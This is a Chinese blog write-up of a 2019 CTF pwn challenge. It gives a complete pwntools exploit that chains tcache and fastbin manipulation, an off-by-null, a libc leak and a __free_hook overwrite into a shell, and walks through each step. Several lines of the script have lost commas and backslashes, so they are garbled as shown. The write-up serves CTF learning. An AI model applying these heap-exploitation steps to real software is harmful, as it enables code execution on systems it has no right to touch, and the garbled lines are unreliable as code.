深思杯PWN复现(二)

  • A+
所属分类:逆向工程

深思杯PWN复现(二)


2019山东省省赛的第三道 PWN 题目

题目链接: 

https://pan.baidu.com/s/17FK07Z0MQUGHB52rm8Ss4A

提取码: isy6

参考:

https://wzt.ac.cn/2019/11/04/sdnisc2019


完整 EXP:

# encoding=utf-8
from pwn import *
#context.log_level = 'debug'
p = process("./pwn")
elf = ELF("./pwn")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,leng,content):
  p.sendlineafter("Your choice: ","1")
  p.sendlineafter("Index: ",str(index))
  p.sendlineafter("note len: ",str(leng))
  p.sendlineafter("content: ",content)
  
def check(index):
  p.sendlineafter("Your choice: ","2")
  p.sendlineafter("Index: ",str(index))
  
def delete(index):
  p.sendlineafter("Your choice: ","3")
  p.sendlineafter("Index: ",str(index))

for i in range(25):
  add(i,0x78,'aaaa'+str(i))#0-24

for i in range(7):
  delete(i)#0-6

delete(10)
delete(11)
delete(12)
delete(13)
delete(14)
delete(15)
p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
  add(i,0x78,'bbbb'+str(i))#0-6

add(250x78'25'+"b" * 0x76)#off by null 0x280->0x200
add(260x78'26'+"b" * 0x6e)
add(270x78'27'+"b" * 0x6e)
add(280x78'28'+"b" * 0x6e)
add(290x78'29'+"b" * 0x6e)
add(300x78"/bin/shx00")

for i in range(7):
  delete(i)#0-6 tcache

delete(16)
delete(26)
p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
    add(i, 0x78"tcache"+str(i))    # clear tcache

add(310x78"aaaa31")
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("27")
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8'x00')) - 96 - 0x3ebc40
free_hook = libc_addr + libc.symbols['__free_hook']
system = libc_addr + libc.symbols["system"]

add(100x78"aaaa10")
delete(10)
delete(27)
add(100x78, p64(free_hook))
add(110x78, p64(free_hook))
add(120x78, p64(system))

p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("30")
p.interactive()


这个题目配了个 libc 2.27 的,所以应该是在 ubuntu 18 下的

限制了 size 的大小要小于等于 0x78,存在 off by null


深思杯PWN复现(二)


首先把 tcache 填满,接下来 free 的那些就会放到 fastbin 中了


如果 scanf 读入的是一个很大的数的话他就会去申请一块空间,如果这个空间申请的足够大就能触发 malloc_consolidate,从而合并 fastbin 放到 unsorted bin 中去

所以,我们在 scanf 的时候去发送很大的一个数比如 '1'*600 就能让前面那些 fastbin 合并


深思杯PWN复现(二)


再把之前放在 tcache 中的申请回来,然后去申请一个 chunk,正常情况应该是:把 unsorted bin 中那块 0x300 分成 0x80 与 0x280,但是如果全部写上加上后面那个 off by null 就会把 0x280 的 size 给改掉,改为 0x200


深思杯PWN复现(二)


然后把那 0x200 申请掉,再申请的话就从 top chunk 中划分了(/bin/sh 那个),但是此时图中 aaaa16 那里的 prev_size 依然是 0x280


深思杯PWN复现(二)


这时候先把 tcache 填满了,再去 free 掉 aaaa16 那个,然后再次触发 malloc_consolidate 就会再给我们一个 0x300 大小的 free chunk(aaaa16 跟它前面那块)


深思杯PWN复现(二)


先把 tcache 中的都申请完,然后再去申请一个,现在再去 check index27 的就能泄露出 unsorted bin 的地址


深思杯PWN复现(二)


然后申请一个 index10,这时候正好申请到 index27 那里,那么接下来就是 fastbin double free 了,可以对着这个释放两次,一次 free(index27),一次 free(index10),然后把 free_hook 改为 system 的地址,然后去 free(index30) 也就是前面写入 /bin/sh 的那一个 chunk


深思杯PWN复现(二)

本文始发于微信公众号(陈冠男的游戏人生):深思杯PWN复现(二)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: